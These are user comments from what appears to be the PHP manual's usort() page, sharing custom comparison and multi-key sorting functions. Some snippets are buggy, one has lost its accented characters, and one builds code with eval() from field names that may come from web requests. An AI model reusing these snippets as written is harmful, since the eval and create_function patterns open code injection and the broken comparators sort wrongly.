$test[1]['phone'] = '123-123-1235';
$test[1]['trick'] = 'youarecool';

$test[2]['name'] = 'john';
$test[2]['email'] = 'wowee@yahoo.com';
$test[2]['phone'] = '123-123-3333';
$test[2]['trick'] = 'goneinanhour';

print_r(columnSort($test, 'name'));

function columnSort($unsorted, $column) {
   $sorted = $unsorted;
   for ($i=0; $i < sizeof($sorted)-1; $i++) {
     for ($j=0; $j<sizeof($sorted)-1-$i; $j++)
       if ($sorted[$j][$column] > $sorted[$j+1][$column]) {
         $tmp = $sorted[$j];
         $sorted[$j] = $sorted[$j+1];
         $sorted[$j+1] = $tmp;
     }
   }
   return $sorted;
}
?>
dmhouse at gmail dot com
19-Jul-2005 05:09
The easiest way to compare two integers is just to take the second away from the first. For example, say you wanted to sort by an integer property of an object. Your comparison function would look like this:

<?php
function compare_counts($a, $b) {
  return $a->count - $b->count;
}
?>

This works because you don't necessarily have to return -1, 0 or 1, the manual states any integer less than, equal to or greater than 0 is OK.
16-Jun-2005 05:10
Case insensitive sort with foreign letters.

<?php
$orig[] = "Abba";
$orig[] = "pappa";
$orig[] = "iorhkl";
$orig[] = "1";
$orig[] = "1";

function cmp($a, $b)
{
   $a=html_entity_decode(strtolower(htmlentities($a)));
   $b=html_entity_decode(strtolower(htmlentities($b)));

   if ( $a == $b ) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

usort($orig,"cmp");

/*
returns:
Array
(
   [0] => Abba
   [1] => pappa
   [2] => iorhkl
   [3] => 1
   [4] => 1
)
*/
?>
steve at tracorp dot com
13-Apr-2005 07:57
When sorting a large multi-dimensional array, I ran into an issue where the array was not being sorted either ascending or descending, even when it started in sorted order.  It turns out that the above note about the callback function returning an integer is true.  My comparison function was just a subtraction between two floating point numbers, and the result being a float produced very unpredictable results.
guenther dot stadler at gmx dot net
30-Mar-2005 06:25
Just something i stumbled about right now:
If the array consists of just one elemtent, the user-function is not called at all.

Although this surely makes sense, think of it if you want to use your order-function for adding extra data to your arrays...
ulrichUNDERSCOREalexis at yahoo dot com
04-Mar-2005 11:03
Please note that:
- the HTML entities should be replaced by their accented counterparts;
- the $patterns arrays have been split for display convenience.

<?php

/* returns the collated string (with no accent or with the matching string
 * replacement) in lower case according to that language rule.
 * The aim is to alphabetically sort lists of strings with characters from
 * other languages but using collation rules of that given language
 * (ISO 639-1 code).
 * Latin-derived alphabets are supported (currently English, French and
 * German)
 * rules source: http://en.wikipedia.org/wiki/Latin_alphabet
 */
function collatedLower($string, $lang=null) {
   switch ($lang) {
       case 'de':
           // German
       $patterns = array(
       "/&aacute;|&agrave;|&acirc;|&atilde;|&aring;|
&Aacute;|&Agrave;|&Acirc;|&Atilde;|&Aring;/",
       "/&auml;|&aelig;|&Auml;|&AElig;/",
       "/&ccedil;|&Ccedil;/",
       "/&eacute;|&egrave;|&ecirc;|&euml;|
&Eacute;|&Egrave;|&Ecirc;|&Euml;/",
       "/&igrave;|&iacute;|&icirc;|&iuml;|
&Igrave;|&Iacute;|&Icirc;|&Iuml;/",
       "/&ntilde;|&Ntilde;/",
       "/&ograve;|&oacute;|&ocirc;|&otilde;|&oslash;|
&Ograve;|&Oacute;|&Ocirc;|&Otilde;|&Oslash;/",
       "/&ouml;|&oelig;|&Ouml;|&OElig;/",
       "/&szlig;/",
       "/&ugrave;|&uacute;|&ucirc;|
&Ugrave;|&Uacute;|&Ucirc;/",
       "/&uuml;|&Uuml;/",
       "/&yacute;|&yuml;|&Yacute;/");
           $replace = array('a', 'ae', 'c', 'e', 'i', 'n', 'o', 'oe', 'ss', 'u', 'ue', 'y');
           break;
       default:
           // 'en' (English), 'fr' (French)
           $patterns = array(
       "/&aacute;|&agrave;|&acirc;|&atilde;|&auml;|&aring;|
&Aacute;|&Agrave;|&Acirc;|&Atilde;|&Auml;|&Aring;/",
       "/&aelig;|&AElig;/",
       "/&ccedil;|&Ccedil;/",
       "/&eacute;|&egrave;|&ecirc;|&euml;|
&Eacute;|&Egrave;|&Ecirc;|&Euml;/",
       "/&igrave;|&iacute;|&icirc;|&iuml;|
&Igrave;|&Iacute;|&Icirc;|&Iuml;/",
       "/&ntilde;|&Ntilde;/",
       "/&ograve;|&oacute;|&ocirc;|&otilde;|&ouml;|&oslash;|
&Ograve;|&Oacute;|&Ocirc;|&Otilde;|&Ouml;|&Oslash;/",
       "/&oelig;|&OElig;/",
       "/&szlig;/",
       "/&ugrave;|&uacute;|&ucirc;|&uuml;|
&Ugrave;|&Uacute;|&Ucirc;|&Uuml;/",
       "/&yacute;|&yuml;|&Yacute;/");
           $replace = array('a', 'ae', 'c', 'e', 'i', 'n', 'o', 'oe', 'ss', 'u', 'y');
           break;
       }
   return preg_replace($patterns,$replace,$string);
}

// English
function compareAccents_en($a, $b) {
   return compareAccents($a, $b, 'en');
}

// French
function compareAccents_fr($a, $b) {
   return compareAccents($a, $b, 'fr');
}

// German
function compareAccents_de($a, $b) {
   return compareAccents($a, $b, 'de');
}

/*
 * comparison function to group together accented letters with
 * their lower-case non-accented counterparts
 * the $lang parameter enables sorting rules for that language
 * (ISO 639-1 code)
 */
function compareAccents($a, $b, $lang=null) {
   $anew = strtolower(collatedLower($a,$lang));
   $bnew = strtolower(collatedLower($b,$lang));
   if ($anew < $bnew) return -1;
   if ($anew > $bnew) return 1;
   return 0;
}

// usage:
usort($myList,'compareAccents_fr');

// to be compared to:
setlocale(LC_COLLATE,'fr');
usort($myList, 'strcoll');

?>
ulrichUNDERSCOREalexis at yahoo dot com
04-Mar-2005 08:31
<?php

/* returns the collated string (with no accent or with the matching string
 * replacement) in lower case according to that language rule.
 * The aim is to alphabetically sort lists of strings with characters from
 * other languages but using collation rules of that given language
 * (ISO 639-1 code).
 * Latin-derived alphabets are supported (currently English, French and
 * German)
 * rules source: http://en.wikipedia.org/wiki/Latin_alphabet
 */
function collatedLower($string, $lang=null) {
   switch ($lang) {
       case 'de':
           // German
           /*
             * In German, letters with umlaut (, , ) are treated generally
             * just like their non-umlauted versions;  is always sorted as ss.
             * This makes the alphabetic order Arg, rgerlich, Arm, Assistent,
             * Alar, Assoziation.
             * For phone directories and similar lists of names, the umlauts are
             * to be collated like the letter combinations "ae", "oe", "ue".
             * This makes the alphabetic order Udet, belacker, Uell, lle, Ueve,
             * xkll, Uffenbach.
             * The ligatures , , and the symbol , when used in English, French,
             * or German, are normally not counted as separate alphabetic letters
             * but as variants of AE, OE, and ss, respectively.
             */
           $patterns = array("/|||||||||/",
               "/|||/",
               "/|/",
               "/|||||||/",
               "/|||||||/",
               "/|/",
               "/|||||||||/",
               "/|||/",
               "//",
               "/|||||/",
               "/|/",
               "/||/");
           $replace = array('a', 'ae', 'c', 'e', 'i', 'n', 'o', 'oe', 'ss', 'u', 'ue', 'y');
           break;
       default:
           // 'en' (English), 'fr' (French)
           /*
             * In French and English, characters with diaeresis (, , , , , )
             * are usually treated just like their un-accented versions.
             * The ligatures , , and the symbol , when used in English, French,
             * or German, are normally not counted as separate alphabetic letters
             * but as variants of AE, OE, and ss, respectively.
             *
             * NB: In French, accent differences are sorted from the end of the
             * word, so the ordering of "pche" and "pch" changes from the
             * English ordering.
             * English ordering: cote, cot, cte, ct
             * French ordering: cote, cte, cot, ct
             * => this is currently not supported
             */
           $patterns = array("/|||||||||||/",
               "/|/",
               "/|/",
               "/|||||||/",
               "/|||||||/",
               "/|/",
               "/|||||||||||/",
               "/|/",
               "//",
               "/|||||||/",
               "/||/");
           $replace = array('a', 'ae', 'c', 'e', 'i', 'n', 'o', 'oe', 'ss', 'u', 'y');
           break;
       }
   return preg_replace($patterns,$replace,$string);
}

// English
function compareAccents_en($a, $b) {
   return compareAccents($a, $b, 'en');
}

// French
function compareAccents_fr($a, $b) {
   return compareAccents($a, $b, 'fr');
}

// German
function compareAccents_de($a, $b) {
   return compareAccents($a, $b, 'de');
}

/*
 * comparison function to group together accented letters with their lower-case
 * non-accented counterparts
 * the $lang parameter enables sorting rules for that language (ISO 639-1 code)
 */
function compareAccents($a, $b, $lang=null) {
   $anew = strtolower(collatedLower($a,$lang));
   $bnew = strtolower(collatedLower($b,$lang));
   if ($anew < $bnew) return -1;
   if ($anew > $bnew) return 1;
   return 0;
}

// usage:
usort($myList,'compareAccents_fr');

// to be compared to:
setlocale(LC_COLLATE,'fr');
usort($myList, 'strcoll');

?>
gk at lka dot hu
17-Aug-2004 08:28
We have written some functions to sort arrays by national ABC's (or by other custom letter-orders).

function sort_hun($array)
 {
  usort($array,"huncmp");
  return($array);
 }

function intcmp($a,$b,$ALP)
 {
  if ($a==$b) return 0;
  $ALPL = strlen($ALP);

  $ap = $bp = -1;
  $i = 0;

  while (($i < $ALPL) and (($ap == -1) or ($bp == -1)))
   {
   if ($ALP[$i] == $a) $ap = $i;
   if ($ALP[$i] == $b) $bp = $i;
   $i++;
   }

  return($ap < $bp) ? -1 :1;
 }

function huncmp($astring, $bstring)
 {
  $ALP = "AaBbCcDdEeFfGgHhIiiJjKkLlMmNnOoPpQqRr".
  "SsTtUuVvWwXxYyZz0123456789!?.()[]=%+-";

  //if equal
  if ($astring == $bstring) return 0;

  //do it on every element
  for ($i = 0; $i<strlen($astring) && $i<strlen($bstring) && $astring[$i]==$bstring[$i]; $i++);

  //if the two strings are the same, the sorter wins
  if ($astring[$i]==$bstring[$i]) return (strlen($astring) > $bstring) ? -1 :1;

  //otherwise depends on the first different char
  return(intcmp($astring[$i],$bstring[$i],$ALP));
 }

-----
How to call it? Here is a sample:

$ize = array("jani","bla","gnes","GNES","zazie","rdekes");
$ize = sort_hun($ize);

(It returns "Array ( [0] => GNES [1] => gnes [2] => bla [3] => rdekes [4] => jani [5] => zazie )".)
Raveler at telenet dot be
21-May-2004 01:02
The array_alternate_multisort function written by robert below doesn't work. There are several bugs in the code and it doesn't work when sorting by multiple keys because the order of the first key isn't taken into account when sorting by the second key and so on. Also, because robert uses strcasecmp the algorithm doesn't work properly with floats or other variable types. Here's the improved version:

<?php
   function SortArray() {
       $arguments = func_get_args();
       $array = $arguments[0];
       $code = '';
       for ($c = 1; $c < count($arguments); $c += 2) {
           if (in_array($arguments[$c + 1], array("ASC", "DESC"))) {
               $code .= 'if ($a["'.$arguments[$c].'"] != $b["'.$arguments[$c].'"]) {';
               if ($arguments[$c + 1] == "ASC") {
                   $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? -1 : 1); }';
               }
               else {
                   $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? 1 : -1); }';
               }
           }
       }
       $code .= 'return 0;';
       $compare = create_function('$a,$b', $code);
       usort($array, $compare);
       return $array;
   }
?>
robert at sargant dot com
11-Mar-2004 05:40
This is an extension to Todor's function below - it will sort a multidimensional array by a primary key, secondary key and so on.  It uses the same method of passing arguments as array_multisort, including sort order flags (but not sort type flags - arrays are sorted as case-insensitive strings.)

<?php

function array_alternate_multisort()
{
   $arguments = func_get_args();
   $arrays    = $arguments[0];
   for ($c = (count($arguments)-1); $c > 0; $c--)
   {
       if (in_array($arguments[$c], array(SORT_ASC , SORT_DESC)))
       {
           continue;
       }
       $compare = create_function('$a,$b','return strcasecmp($a["'.$arguments[$c].'"], $b["'.$arguments[$c].'"]);');
       usort($arrays, $compare);
       if ($arguments[$c+1] == SORT_DESC)
       {
           $arrays = array_reverse($arrays);
       }
   }
   return $arrays ;
}

?>

To demonstrate:

<?php

$dir_contents[] = array("is_dir" => 0, "name" => "b.jpg");
$dir_contents[] = array("is_dir" => 1, "name" => "e");
$dir_contents[] = array("is_dir" => 1, "name" => "a");
$dir_contents[] = array("is_dir" => 0, "name" => "d.png");
$dir_contents[] = array("is_dir" => 0, "name" => "c.png");

$dir_sorted = array_alternate_multisort($dir_contents, "is_dir", SORT_DESC, "name", SORT_ASC);

print_r($dir_sorted);

?>

Produces the output:

Array
(
   [0] => Array
       (
           [is_dir] => 1
           [name] => a
       )

   [1] => Array
       (
           [is_dir] => 1
           [name] => e
       )

   [2] => Array
       (
           [is_dir] => 0
           [name] => b.jpg
       )

   [3] => Array
       (
           [is_dir] => 0
           [name] => c.png
       )

   [4] => Array
       (
           [is_dir] => 0
           [name] => d.png
       )

)
todor at todor dot net
08-Mar-2004 08:39
To sort multidimentional arrays .... by one key.

function multi_sort($tab,$key){
   $compare = create_function('$a,$b','if ($a["'.$key.'"] == $b["'.$key.'"]) {return 0;}else {return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;}');
   usort($tab,$compare) ;
   return $tab ;
}
arjini at mac dot com
27-Jan-2004 02:05
<?php
/*
This is a class I built to sort parent/child relationships of array elements.
I post this here, because thanks to usort, you can also assign an explicit order
to the elements.

I first built this to sort categories and subcategories.

My database has four fields. category_id, parent_id, category_name, category_position

$rows is an associative array from the database with my categories.
*/
$rows = array( 0=>array('category_id'=>1,'parent_id' =>3,'category_name' =>'Second Child','category_position'=>2),
                   1=>array('category_id' =>2,'parent_id' =>0,'category_name' =>'Second Parent','category_position'=>2),
                   2=>array('category_id' =>3,'parent_id' =>0,'category_name' =>'First Parent','category_position'=>1),
                   3=>array('category_id' =>4,'parent_id' =>0,'category_name' =>'Third Parent','category_position'=>3),
                   4=>array('category_id' =>5,'parent_id' =>3,'category_name' =>'First Child','category_position'=>1),
                   5=>array('category_id' =>6,'parent_id' =>5,'category_name'=>'Second Sub-Child','category_position'=>2),
                   6=>array('category_id' =>7,'parent_id' =>5,'category_name' =>'First Sub-Child','category_position'=>1)
                   );

$ordered = chain('category_id', 'parent_id', 'category_position', $rows);

foreach($ordered as $item)
{
   echo str_repeat('------', $item['indent']).$item['category_name'].'<br>';
}

/*

Output

First Parent
------First Child
------------First Sub-Child
------------Second Sub-Child
------Second Child
Second Parent
Third Parent

You can have it only return a certain "branch" if you specify a root_id.
Aditionally, you can keep it by going to deep by specifying max-level.

Hope someone finds this useful, I sure would have liked to see this here a week ago.

Ah yes... and the code that runs it.
*/

function chain($primary_field, $parent_field, $sort_field, $rows, $root_id=0, $maxlevel=25)
{
   $c = new chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel);
   return $c->chain_table;
}

class chain
{
   var $table;
   var $rows;
   var $chain_table;
   var $primary_field;
   var $parent_field;
   var $sort_field;

   function chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel)
   {
       $this->rows = $rows;
       $this->primary_field = $primary_field;
       $this->parent_field = $parent_field;
       $this->sort_field = $sort_field;
       $this->buildChain($root_id,$maxlevel);
   }

   function buildChain($rootcatid,$maxlevel)
   {
       foreach($this->rows as $row)
       {
           $this->table[$row[$this->parent_field]][ $row[$this->primary_field]] = $row;
       }
       $this->makeBranch($rootcatid,0,$maxlevel);
   }

   function makeBranch($parent_id,$level,$maxlevel)
   {
       $rows=$this->table[$parent_id];
       foreach($rows as $key=>$value)
       {
           $rows[$key]['key'] = $this->sort_field;
       }

       usort($rows,'chainCMP');
       foreach($rows as $item)
       {
           $item['indent'] = $level;
           $this->chain_table[] = $item;
           if((isset($this->table[$item[$this->primary_field]])) && (($maxlevel>$level+1) || ($maxlevel==0)))
           {
               $this->makeBranch($item[$this->primary_field], $level+1, $maxlevel);
           }
       }
   }
}

function chainCMP($a,$b)
{
   if($a[$a['key']] == $b[$b['key']])
   {
       return 0;
   }
   return($a[$a['key']]<$b[$b['key']])?-1:1;
}

?>
sreid at sea-to-sky dot net
08-Jan-2004 12:22
As the manual says, "If two members compare as equal, their order in the sorted array is undefined." This means that the sort used is not "stable" and may change the order of elements that compare equal.

Sometimes you really do need a stable sort. For example, if you sort a list by one field, then sort it again by another field, but don't want to lose the ordering from the previous field. In that case it is better to use usort with a comparison function that takes both fields into account, but if you can't do that then use the function below. It is a merge sort, which is guaranteed O(n*log(n)) complexity, which means it stays reasonably fast even when you use larger lists (unlike bubblesort and insertion sort, which are O(n^2)).

function mergesort(&$array, $cmp_function = 'strcmp') {
   // Arrays of size < 2 require no action.
   if (count($array) < 2) return;
   // Split the array in half
   $halfway = count($array) / 2;
   $array1 = array_slice($array, 0, $halfway);
   $array2 = array_slice($array, $halfway);
   // Recurse to sort the two halves
   mergesort($array1, $cmp_function);
   mergesort($array2, $cmp_function);
   // If all of $array1 is <= all of $array2, just append them.
   if (call_user_func($cmp_function, end($array1), $array2[0]) < 1) {
       $array = array_merge($array1, $array2);
       return;
   }
   // Merge the two sorted arrays into a single sorted array
   $array = array();
   $ptr1 = $ptr2 = 0;
   while ($ptr1 < count($array1) && $ptr2 < count($array2)) {
       if (call_user_func($cmp_function, $array1[$ptr1], $array2[$ptr2]) < 1) {
           $array[] = $array1[$ptr1++];
       }
       else {
           $array[] = $array2[$ptr2++];
       }
   }
   // Merge the remainder
   while ($ptr1 < count($array1)) $array[] = $array1[$ptr1++];
   while ($ptr2 < count($array2)) $array[] = $array2[$ptr2++];
   return;
}
webmaster at zeroweb dot org
20-Dec-2003 07:05
Needed a quick, fairly uncluttered way of sorting an array of objects by a certain object attribute, so here's what I came up with. Uses one global array and usort(). Also accepts an optional sort direction argument (CSORT_ASC = sort ascending, CSORT_DESC = sort descending). Use it like this:

(assuming $myarray is your array, "index" is the attribute you want to sort by, and you want to sort in descending order)

     csort($myarray, "index", CSORT_DESC);

Hope this is of use to someone. Probably a better way to pull this off, but this works alright.

define("CSORT_ASC",    1);
define("CSORT_DESC",    -1);

function csort_cmp(&$a, &$b)
{
   global $csort_cmp;

   if ($a->$csort_cmp['key'] > $b->$csort_cmp['key'])
       return $csort_cmp['direction'];

   if ($a->$csort_cmp['key'] < $b->$csort_cmp['key'])
       return -1 * $csort_cmp['direction'];

   return 0;
}

function csort(&$a, $k, $sort_direction=CSORT_ASC)
{
   global $csort_cmp;

   $csort_cmp = array(
       'key'          => $k,
       'direction'    => $sort_direction
   );

   usort($a, "csort_cmp");

   unset($csort_cmp);
}
kristen at ccshoreline dot org
22-Nov-2003 04:39
I have a class with a bunch of functions that work with an SQL database. I am working with calendar dates that occur more than once (like once a week for 2 months), so I have to generate the date in php after the SQL. But I wanted to sort the events based on the date, so I tried using usort, but was unable to get it to work, because it didn't think that my sorting function was defined (even though it was in the same class). I have a separate class to store the data, that has a variable called Start which is a PHP date object.

So here is how I got it to work. First I created a temporary function, that returned the value of a string comparison of the timestamps for the dates. Then I used that temporary function for the usort. Enjoy.

$tempfunction = create_function('$event1,$event2',
       'return strcmp($event1->Start[0],$event2->Start[0]);');
usort($data,$tempfunction);
me_islandnet_com
09-Oct-2003 09:45
First off just let me say thanks to skrebbel at operamail dot com for his excellent Banana class.  I've expanded it so that you can specify an ordering sequence (ASC, DESC) on each of the fields.

<?php

class mdasort {
   var $aData;//the array we want to sort.
   var $aSortkeys;//the order in which we want the array to be sorted.

   function _sortcmp($a, $b, $i=0) {
       $r = strnatcmp($a[$this->aSortkeys[$i][0]],$b[$this->aSortkeys[$i][0]]);
       if ($this->aSortkeys[$i][1] == "DESC") $r = $r * -1;
       if($r==0) {
           $i++;
           if ($this->aSortkeys[$i]) $r = $this->_sortcmp($a, $b, $i);
       }
       return $r;
   }

   function sort() {
       if(count($this->aSortkeys)) {
           usort($this->aData,array($this,"_sortcmp"));
       }
   }
}

$B = new mdasort;
$B->aData = array(
   array("name" => "hank", "headsize" => "small", "age" => 32),
   array("name" => "sade", "headsize" => "petit", "age" => 36),
   array("name" => "hank", "headsize" => "large", "age" => 33),
   array("name" => "sade", "headsize" => "large", "age" => 32),
   array("name" => "john", "headsize" => "large", "age" => 32),
   array("name" => "hank", "headsize" => "small", "age" => 36),
   array("name" => "hank", "headsize" => "small", "age" => 40)
);
$B->aSortkeys = array(
       array('name','ASC'),
       array('headsize','DESC'),
       array('age','ASC'),
   );
$B->sort();

foreach ( $B->aData as $display_row )
{
   echo $display_row['name'] . ', ';
   echo $display_row['headsize'] . ', ';
   echo $display_row['age'];
   echo '<br>';
}

?>
skrebbel at operamail dot com
28-Mar-2003 05:59
here's another recursive multisort, however a clean and fast one that is class-based (but works as well outside classes) and does not uglify your global namespace at all. note that strnatcmp is used, but one could use something else of course.

btw, for arrays in which the rows/columns are 'swapped', use array_multisort().

class Banana {
   var $aData;//the array we want to sort.
   var $aSortkeys;//the order in which we want the array to be sorted.
   function _sortcmp($a, $b, $i=0) {
       $r = strnatcmp($a[$this->aSortkeys[$i]],$b[$this->aSortkeys[$i]]);
       if($r==0) {
           $i++;
           if ($this->aSortkeys[$i]) $r = $this->_sortcmp($a, $b, $i+1);
       }
       return $r;
   }
   function sort() {
       if(count($this->aSortkeys)) {
           usort($this->aData,array($this,"_sortcmp"));
       }
   }
}
$B = new Banana;
$B->aData = array(
   array("name" => "hank", "headsize" => "big", "age" => 32),
   array("name" => "frank", "headsize" => "huge", "age" => 36)
);
$B->aSortkeys = array("age","name");
$B->sort();

sorry for the ugly indenting, but i couldn't get it any better in this note adder thingo.
steveNO_SPAM at AXE_MEcontentwatch dot com
01-Jan-2003 06:11
The sort functions do nothing if identical keys exist.  Of course, you shouldn't have identical keys anyway, but this just might save someone else the oodles of time it took me to figure out while using multi-dimentional arrays:

class myArticleList {
// ... //
  function &getList () {

   // works
       $a = array (
                   "articleList1" => array ( "2", "3" ),
                   "articleList2" => array ( "3" , "4")
                 );
   usort( $a, array( $this, "compareByTitle") );

   // doesn't work
       $b = array (
                   "articleList" => array ( "2", "3" ),
                   "articleList" => array ( "3" , "4")
                 );
   usort( $b, array( $this, "compareByTitle") );
  }

  function compareByTitle( $a, $b ) {
  // ... //
  }
}
mharrodine AT blue yonder DOT co-uk
12-Dec-2002 08:46
Thankyou to franky at iname dot com for his solution to my problem although i'd like to clarify something because the use for this isn't entirely obvious at first glance. I like to define my arrays to look like tables in a database or spreadsheet as follows (it looks tidy is the only reason!):

Row(s)  Column(s) ------------->
   |        $array[0] = array("1", "2","3");
   |        $array[1] = array("1", "2","3");
   \/      $array[2] = array("1", "2","3");

This "array of arrays" seems to behave differently to normal associative or multi-dimension arrays when sorting but using franky's routine....

function cmp ($a, $b)
{
global $w_o;
if ($a[$w_o] == $b[$w_o]) return 0;
return ($a[$w_o] < $b[$w_o]) ? -1 : 1;
}

...you simply specify the column you want to sort by defining $w_o and call "usort($my_array,"cmp");". This might seem obvious to some people but wasn't to me and I hope this helps others in the same situation. Thanks....
jfren484 AT hotmail DOT com
25-Oct-2002 07:37
If you've used ADO before, you may have used the Sort property on a recordset.  It's very powerful - you can add a nice ORDER BY clause after getting the recordset from the database.  It's especially helpful if you want to show a list on a web page and make the column headings links that cause the list to resort on that column.

I wanted to do the same thing with mysql recordsets, but it looks like you have to have the ORDER BY in your query.  I re-worked the example from johan_land at yahoo dot com above for sorting multidimensional arrays.  When I get a mysql recordset, I create an array with all of the records like this:

$aaRows[]    = array();
if (mysql_num_rows($rsRows) > 0)
   while ($aRow = mysql_fetch_array($rsRows, MYSQL_ASSOC))
       $aaRows[]    = $aRow;

At this point $aaRows is an array of arrays - it's a numeric-indexed array containing records from the recordset, which themselves are associative arrays.  The following code takes the array of records as the first parameter, and an array of fields to sort - each field is an associative array, where 'name' is the db field name, and 'dir' is the direction to sort.  If dir is 'DESC' (case-insensitive), it will sort descending.  Any other value (including not setting one) will cause it to sort ascending.

function sortRows(&$a_aaRows, $a_aaSortCriteria)
{
   GLOBAL    $g_aaSortArray;

   function compare($a_aRow1, $a_aRow2, $a_lField = 0)
   {
       GLOBAL    $g_aaSortArray;

       $lCompareVal    = 0;

       if ($a_lField < count($g_aaSortArray))
       {
           $sSortFieldName    = $g_aaSortArray[$a_lField]['name'];
           $sSortFieldDir    = $g_aaSortArray[$a_lField]['dir'];

           $vValue1    = eval('return $a_aRow1[' . $sSortFieldName . '];');
           $vValue2    = eval('return $a_aRow2[' . $sSortFieldName . '];');

           if ($vValue1 == $vValue2)
               $lCompareVal    = compare($a_aRow1, $a_aRow2, $a_lField + 1);
           else
           {
               $lCompareVal    =    $vValue1 > $vValue2 ? 1 : -1;
               if (strtolower(substr($sSortFieldDir, 0, 4)) == 'desc')
                   $lCompareVal    = -$lCompareVal;
           }
       }

       return $lCompareVal;
   }

   $g_aaSortArray    = $a_aaSortCriteria;
   usort($a_aaRows, 'compare');
}

When I call it it looks something like this:

sortRows($aaRows, array(array('name' => 'STATE', 'dir' => 'ASC'), array('name' => 'CITY', 'dir' => 'DESC')));
mkr at binarywerks dot dk
21-Sep-2002 12:29
If you want to sort an array according to another array acting as a priority list, you can use this function.

function listcmp($a, $b)
{
  global $order;

  foreach($order as $key => $value)
   {
     if($a==$value)
       {
         return 0;
         break;
       }

     if($b==$value)
       {
         return 1;
         break;
       }
   }
}

$order[0] = "first";
$order[1] = "second";
$order[2] = "third";

$array[0] = "second";
$array[1] = "first";
$array[2] = "third";
$array[3] = "fourth";
$array[4] = "second";
$array[5] = "first";
$array[6] = "second";

usort($array, "listcmp");

print_r($array);
simen at NO_SPAM_AT_ALLbleed dot no
07-Aug-2002 04:16
To sort a list of objects either ascending (a) or descending (d) using key use the function below for comparison.

function property_sort($oa, $ob) {
   global $sort_key;
   global $sort_dir;

   $a = strtolower($oa->$sort_key);
   $b = strtolower($ob->$sort_key);

   if ($a == $b) {
       return 0;
   } else if (($a > $b && $sort_dir == "a") || ($a < $b && $sort_dir == "d")) {
       return 1;
   } else {
       return -1;
   }
}
prozac at iguanasoft dot com
15-Jul-2002 08:55
Here is a simple example of converting a timestamp date("U") into a date. This sorts by that day and then by string value alphabetically.

I hope it saves someone some time... Happy PHP'in!

//data to sort
$shared[0]["page_id"] = "2025731470";
$shared[1]["page_id"] = "2025731450";
$shared[2]["page_id"] = "1025731456";
$shared[3]["page_id"] = "1025731460";
$shared[0]["username"] = "larry";
$shared[1]["username"] = "alvin";
$shared[2]["username"] = "garth";
$shared[3]["username"] = "harvy";

//function to convert timestamp to date
function convert_timestamp($timestamp){
   $limit=date("U");
   $limiting=$timestamp-$limit;
   return date ("Ymd", mktime (0,0,$limiting));
}
//comparison function
function cmp ($a, $b) {
   $l=convert_timestamp($a["page_id"]);
   $k=convert_timestamp($b["page_id"]);
   if($k==$l){
       return strcmp($a["username"], $b["username"]);
   }else{
       return strcmp($k, $l);
   }
}

//sort array
usort($shared, "cmp");

//display sorted info
while (list ($key, $value) = each ($shared)) {
   echo "\$shared[$key]: ";
   echo $value["page_id"];
   echo " username: ";
   echo $value["username"];
   echo "<break_tag>";
}

//This will output:
$shared[0]: 2025731450  username: alvin
$shared[1]: 2025731470  username: larry
$shared[2]: 1025731456  username: garth
$shared[3]: 1025731460  username: harvy
alex at netflex dot nl
02-Jul-2002 07:10
This function will sort on more then one values, test and have fun

<pre>
<?php

  $array[0]['name'] = "a";
  $array[0]['id'] = 3;

  $array[1]['name'] = "a";
  $array[1]['id'] = 2;

  $array[2]['name'] = "a";
  $array[2]['id'] = 5;

  $array[3]['name'] = "b";
  $array[3]['id'] = 8;

  $array[4]['name'] = "b";
  $array[4]['id'] = 1;

  $array[5]['name'] = "b";
  $array[5]['id'] = 0;

  $array[6]['name'] = "c";
  $array[6]['id'] = 5;

  $array[7]['name'] = "c";
  $array[7]['id'] = 7;

  $array[8]['name'] = "c";
  $array[8]['id'] = 3;

  print_r($array);

  $sort_array[0]['name'] = "name";
  $sort_array[0]['sort'] = "ASC";
  $sort_array[0]['case'] = TRUE;

  $sort_array[1]['name'] = "id";
  $sort_array[1]['case'] = FALSE;

  sortx($array, $sort_array);

  print_r($array);

  function sortx(&$array, $sort = array()) {
   $function = '';
   while (list($key) = each($sort)) {
     if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
       $function .= 'if (strtolower($a["' . $sort[$key]['name'] . '"])<>strtolower($b["' . $sort[$key]['name'] . '"])) { return (strtolower($a["' . $sort[$key]['name'] . '"]) ';
     } else {
       $function .= 'if ($a["' . $sort[$key]['name'] . '"]<>$b["' . $sort[$key]['name'] . '"]) { return ($a["' . $sort[$key]['name'] . '"] ';
     }
     if (isset($sort[$key]['sort'])&&($sort[$key]['sort'] == "DESC")) {
       $function .= '<';
     } else {
       $function .= '>';
     }
     if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
       $function .= ' strtolower($b["' . $sort[$key]['name'] . '"])) ? 1 : -1; } else';
     } else {
       $function .= ' $b["' . $sort[$key]['name'] . '"]) ? 1 : -1; } else';
     }
   }
   $function .= ' { return 0; }';
   usort($array, create_function('$a, $b', $function));
  }

?>
</pre>
graham at irwin dot org
16-Jan-2002 12:28
Example 3 above does not work with 4.0.4pl1, unless you write the uasort line as follows:
uasort($a, array ($a[0], "cmp_obj"));

(I assume any instance of the object: a[0] or a[1] or a[2] would work as well)

It does not work at all with associative arrays of objects.
jonathan at inetz dot com
15-Nov-2001 04:48
Here's a variation on the multi-dimensional sorts above, but with more flexibility and speed.  Note that this version only leverages strcmp() to compare array values, which is sufficient for most cases.

/**
 * arfsort() - (AR)ray (F)ield Sort.
 * Sort a multi-dimensional array according
 * to a list of fields.
 * @param $a The array to sort
 * @param $fl Field list (in order of importance)
 */
function arfsort( $a, $fl )
{
&nbsp;$GLOBALS['__ARFSORT_LIST__'] = $fl;
  usort( $a, 'arfsort_func' );
  return $a;
}

/**
 * Internal sorting function for arfsort()
 */
function arfsort_func( $a, $b )
{
  foreach( $GLOBALS['__ARFSORT_LIST__'] as $f )
  {
   $strc = strcmp( $a[$f], $b[$f] );
   if ( $strc != 0 )
   {
     return $strc;
   }
  }
  return 0;
}

// Example usage
$test = array(
  array(
   'fruit' => 'apple',
   'type' => 'sweet'
  ),
  array(
   'fruit' => 'green apple',
   'type' => 'sour'
  ),
  array(
   'fruit' => 'lemon',
   'type' => 'sour'
  )
);
$sorted = arfsort( $test, array( 'type', 'fruit' ) );

// Returned array should be sorted
// with the green apple data first, then the
// lemon, then the apple.

